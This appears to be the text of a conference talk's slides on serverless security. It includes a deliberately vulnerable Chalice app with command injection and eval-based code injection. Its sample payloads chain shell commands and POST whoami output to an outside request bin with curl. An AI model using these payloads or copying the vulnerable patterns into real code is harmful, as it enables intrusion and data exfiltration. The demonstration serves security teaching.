Not Your Server,

but still your code.

 

 

https://sprky.co/talks/

whoami

The Point

  • Serverless != Marketing Trend

  • InfoSec 👍 📰 & 📉📰

  • Your bad code is still bad

    • broken-whisk

    • broken-chalice

  • Code is the new literacy

Serverless Manifesto Summary

  1. Functions as unit of deployment/scale
  2. Devs shouldn't "see" the server/container/VM
  3. Statelessness via offloaded storage
  4. Scales per request
  5. Never pay for idle 
  6. Metrics and logging are a universal right.
 

Old HoneyDB Architecture

HoneyDB Architecture

Serverless Isn't...

  • Only Marketing
  • Lack of Servers
  • BaaS
  • PaaS

Serverless Is...

  • Functions as a Service (FaaS)
  • Opinionated Framework for Containers/Compute
  • Vendor managed server stacks
  • ServiceFULL
  • Fundamental shift in security's value proposition

"History"

  • 2012 Ken Fromm [1]
    • Then: It’s no longer “Why cloud?” or even “How cloud?”
    • Now: "Where cloud?"
  • 2014 - 2015:
  • 2016:
  • ​​2017:

It's damn cheap!

"After a $30K invoice in September, our AWS bill for the month of December is projected to be less than $4,000."

https://read.acloud.guru/how-going-serverless-helped-us-reduce-costs-by-70-255adb87b093

"Last and probably most significantly, the free Readability API was costing the company roughly $10,000 per month..."

 

"....Serving 39 Million Requests for $370/Month"

https://trackchanges.postlight.com/serving-39-million-requests-for-370-month-or-how-we-reduced-our-hosting-costs-by-two-orders-of-edc30a9a88cd​

Still Your Code

Tool Obsolescence

  • Firewalls
  • IPS (Intrusion Prevention Systems)
  • Legacy WAF
  • RASP (Runtime Application Security Protection)
  • SAST*
    • Limited effectiveness

Encryption Is Still Difficult

Vendor Managed OS/Server Patching

Increase Specialization

  • DAST (Dynamic Application Security Testing) +
  • Manual Assessments (Power to the People) +
  • Least Privilege IAM Policy +
  • SCA (Software Composition Analysis) +
  • = 💪 Stack+

Function-level Monitoring/Logging

Saves 💰

&

Increases Attacker Costs

Practical RBAC

Event Sources...are complex? ¯\_(ツ)_/¯ - Ory Segal (puresec.io)

Broken

Whisk

Shenanigans

IBM Cloud Functions (based on Apache OpenWhisk) is a Function-as-a-Service (FaaS) platform which executes functions in response to incoming events and costs nothing when not in use."

Apache OpenWhisk is a serverless, open source cloud platform that executes functions in response to events at any scale.

IBM Cloud Functions

IBM Cloud Functions

  • Actions and Web Actions
  • Triggers
  • Sequences

broken-whisk

# Action
import sys
from os import popen

def main(dict):
    out = str(popen("whoami").read())
    return {"message":out}

# OUTPUT
{
  "message": "root\n"
}

broken-whisk

# Action
import sys
from os import popen

def main(dict):
    address = dict["address"]
    out = str(popen("cat /etc/*-release").read())
    return {"message":out}

# OUTPUT
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
ID=debiannHOME_URL="http://www.debian.org/"
SUPPORT_URL="http://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"


Findings...

  • Already root
  • No wget, curl, nc etc...
  • Commodity/scripted attacks
  • No apparent caching?

Broken

Chalice

Shenanigans

Chalice

  • Python Serverless Microframework for AWS
    • A command line tool for creating, deploying, and managing your app
    • A familiar and easy to use API for declaring views in python code
    • Automatic IAM policy generation
# $ pip install chalice
# $ chalice new-project helloworld
# $ cd helloworld
# $ cat app.py

from chalice import Chalice

app = Chalice(app_name="helloworld")

@app.route("/")
def index():
    return {"👋": "🌎"}

# $ chalice deploy
...
https://endpoint/dev

$ curl https://endpoint/api
{"👋": "🌎"}
  • A simple vulnerable Flask application.

    • Python code injection
    • Operating System command injection
    • Python deserialization of arbitrary data (pickle)
    • XXE injection
def rp(command):
    return popen(command).read()

################################################
# os command injection
@app.route('/lookup', methods = ['POST', 'GET'])
def lookup():
    address = None
    if request.method == 'POST':
        address = request.form['address']
    return """
    <html>
       <body>""" + "Result:\n<br>\n" + (rp("nslookup " + address).replace('\n', '\n<br>')  if address else "") + """
          <form action = "/lookup" method = "POST">
             <p><h3>Enter address to lookup</h3></p>
             <p><input type = 'text' name = 'address'/></p>
             <p><input type = 'submit' value = 'Lookup'/></p>
          </form>
       </body>
    </html>
    """
  • Low-effort vulnerable chalice app
  • USE WITH CAUTION
  • Take no responsibility for AWS repercussions
# Command Execution
@app.route('/trial-balloon-art', methods=['POST'])
def getTrialBalloonArt():
    if request.method == 'POST':
        version = app.current_request.json_body['version']
        print("version equals: "+version)
        sigsciBalloon = "https://dl.signalsciences.net/trial-balloon/{}/art".format(version)
        out = rp("curl {}".format(sigsciBalloon))
        return out
{"version":"0.0.9 && echo 'scale16x' > /tmp/sprkyco.txt \ 
&& stat /tmp/sprkyco.txt && "}
# Code Injection
@app.route('/evaluate', methods = ['POST', 'GET'], content_types=['application/json'])
def evaluate():
    expression = None
    if app.current_request.method == 'POST':
        expression = app.current_request.json_body['expression']
    return "Result:\n" + (str(eval(expression))......)
{"expression":"__import__('os').system(\
'var=`echo Hello_Scale16x` && curl -X POST \
-d ${var} https://requestb.in/1aom89z1')"}
{"expression":"__import__('os').system(\
'var=`whoami` \
&& curl \
-X POST \
-d ${var} \
https://requestb.in/1aom89z1')"}

Take Jeff Serverless Serious

No Such Thing as a Panacea

Learn to Dev

Security FUD Renaissance

Special Thanks

whoami

scale16x

By Cody Sparky Wood

Private